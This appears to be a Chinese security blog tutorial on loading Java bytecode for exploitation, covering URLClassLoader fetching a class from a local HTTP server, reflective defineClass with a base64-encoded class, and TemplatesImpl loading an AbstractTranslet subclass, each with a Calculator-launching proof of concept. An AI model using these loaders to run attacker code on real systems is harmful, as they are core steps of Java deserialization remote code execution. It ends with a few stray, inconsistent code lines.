Java字节码(ByteCode)指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。
但是我们所说的"字节码"可以理解的更广义一些----所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,都在我们的讨论范围之内。
Java的ClassLoader是用来加载字节码文件最基础的方法,ClassLoader就是一个"加载器",告诉Java虚拟机如何加载这个类。
ClassLoader就是根据类名来加载类,这个类名是类完整路径。
我们在学习反射的时候利用到的Class.forName就是这种,关于他俩的区别(反射中,Class.forName和ClassLoader区别 - 简书):
在java中Class.forName()和ClassLoader都可以对类进行加载。
区别:
(1)Class.forName除了将类的.class文件加载到jvm中之外,还会对类进行解释,执行类中的static块。
(2)而classloader只干一件事情,就是将.class文件加载到jvm中,不会执行static中的内容,只有在newInstance才会去执行static块。
#Class.forName(name,initialize,loader)带参数也可控制是否加载static块。并且只有调用了newInstance()方法采用调用构造函数,创建类的对象。
1.URLClassLoader
URLClassLoader实际上是我们平时默认使用的AppClassLoader的父类
正常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举到的基础路径来寻找.class文件加载,这个基础路径分为三种情况:
-
URL未以斜杠/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
-
URL以斜杠/结尾,且协议名是file,则使用FildLoader来寻找类,即为在本地系统中寻找.class文件
-
URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader来寻找类
利用过程:
首先先构造一个恶意的class文件
import java.io.IOException;
public class hello {
public hello() throws IOException {
Runtime.getRuntime().exec("open -a Calculator.app");
}
}
使用javac hello.java 编译成class文件,然后使用python3 -m http.server,在当前目录启动http的服务,然后建立一个URLClassLoader
import java.net.URL;
import java.net.URLClassLoader;
public class HelloClassLoader {
public static void main(String[] args) {
try {
URL[] urls = new URL[]{new URL("http://127.0.0.1:8080/")};
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class clazz = urlClassLoader.loadClass("hello");
clazz.newInstance();
} catch (Exception e) {
e.printStackTrace();
}
}
}
利用ClassLoader#defineClass 直接加载字节码文件
ClassLoader#loadClass-->ClassLoader#findClass->ClassLoader#defineClass
-
loadClass的作用是从已加载的类缓存,父加载器等位置寻找(双亲委派机制),在前面没有找到的情况下,执行findClass
-
findClass的作用是根据URL指定的方式来加载类的字节码,可能会在本地系统,jar包或远程http服务器上读取字节码,然后将其交给defineClass
-
defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类
使用上面编译好的hello.class,然后对其进行base64加密
然后使用ClassLoader#defineClass加载
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
public class HelloClassLoader {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchMethodException {
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEACmhlbGxvLmphdmEMAAcACAcAFwwAGAAZAQAWb3BlbiAtYSBDYWxjdWxhdG9yLmFwcAwAGgAbAQAFaGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAEAAQABQANAAYACwAAAAQAAQAMAAEADQAAAAIADg==");
Class expClazz = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "hello", codes, 0, codes.length);
expClazz.newInstance();
} catch (Exception e) {
e.printStackTrace();
}
}
}
![](https://i-blog.csdnimg.cn/blog_migrate/7467eb2cea5cbbc341e937fb842fbee7.png)
![](https://i-blog.csdnimg.cn/blog_migrate/4eeb72430b457890c72db1ec2e17c474.png)
![](https://i-blog.csdnimg.cn/blog_migrate/37b7b5fb23323bd6be08134f0aa51081.png)
![](https://i-blog.csdnimg.cn/blog_migrate/5b2553be2dbabd66bbc53dd3fe868156.png)
![](https://i-blog.csdnimg.cn/blog_migrate/d751edb1644e803628773bb689df4a28.png)
利用TemplatesImp加载字节码
虽然大部分上层开发者不会直接用到defineClass方法,但是Java底层还是有一些类用到了它,比如TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)这个类中定义了一个内部类TranslateClassloader,我们先构造一个exp,
(关于Exp的构造,TemplatesImpl中对加载字节码是有一定要求的:这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类,创建Exp的时候需要使它继承AbstractTranslet,然后才可以被TemplatesImpl执行)
于是Exp2
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Exp2 extends AbstractTranslet {
public Exp2() throws IOException {
Runtime.getRuntime().exec(new String[]{"open", "-na", "Calculator"});
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
使用javac Exp2.java 编译成class文件,然后使用TemplatesImpl加载
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TemplatesImplDemo {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {
byte[] classBytes = Files.readAllBytes(Paths.get("/Users/zyer/Downloads/untitled/out/production/untitled/Exp2.class"));
TemplatesImpl templates = new TemplatesImpl();
Class clazz = templates.getClass();
Field bytecodes = clazz.getDeclaredField("_bytecodes");
Field name = clazz.getDeclaredField("_name");
Field _tfactory = clazz.getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
_tfactory.setAccessible(true);
bytecodes.set(templates, new byte[][]{classBytes});
name.set(templates, "zyer");
_tfactory.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}
![](https://i-blog.csdnimg.cn/blog_migrate/f33d2cf4f53f8fe8bbd3037d22b16a98.png)
![](https://i-blog.csdnimg.cn/blog_migrate/c0e6b3ebbf2a86dc7aaa3ef748b2a20b.png)
![](https://i-blog.csdnimg.cn/blog_migrate/734f73f5b0d6d6e45f87bd544bff46da.png)
![](https://i-blog.csdnimg.cn/blog_migrate/4ac4a1ae6b56244fb200d1a272ffe664.png)
Field bytes = name.getDeclaredField("_bytecodes");
Field name1 = name.getDeclaredField("_name");
Field factory = name.getDeclaredField("_tfactory");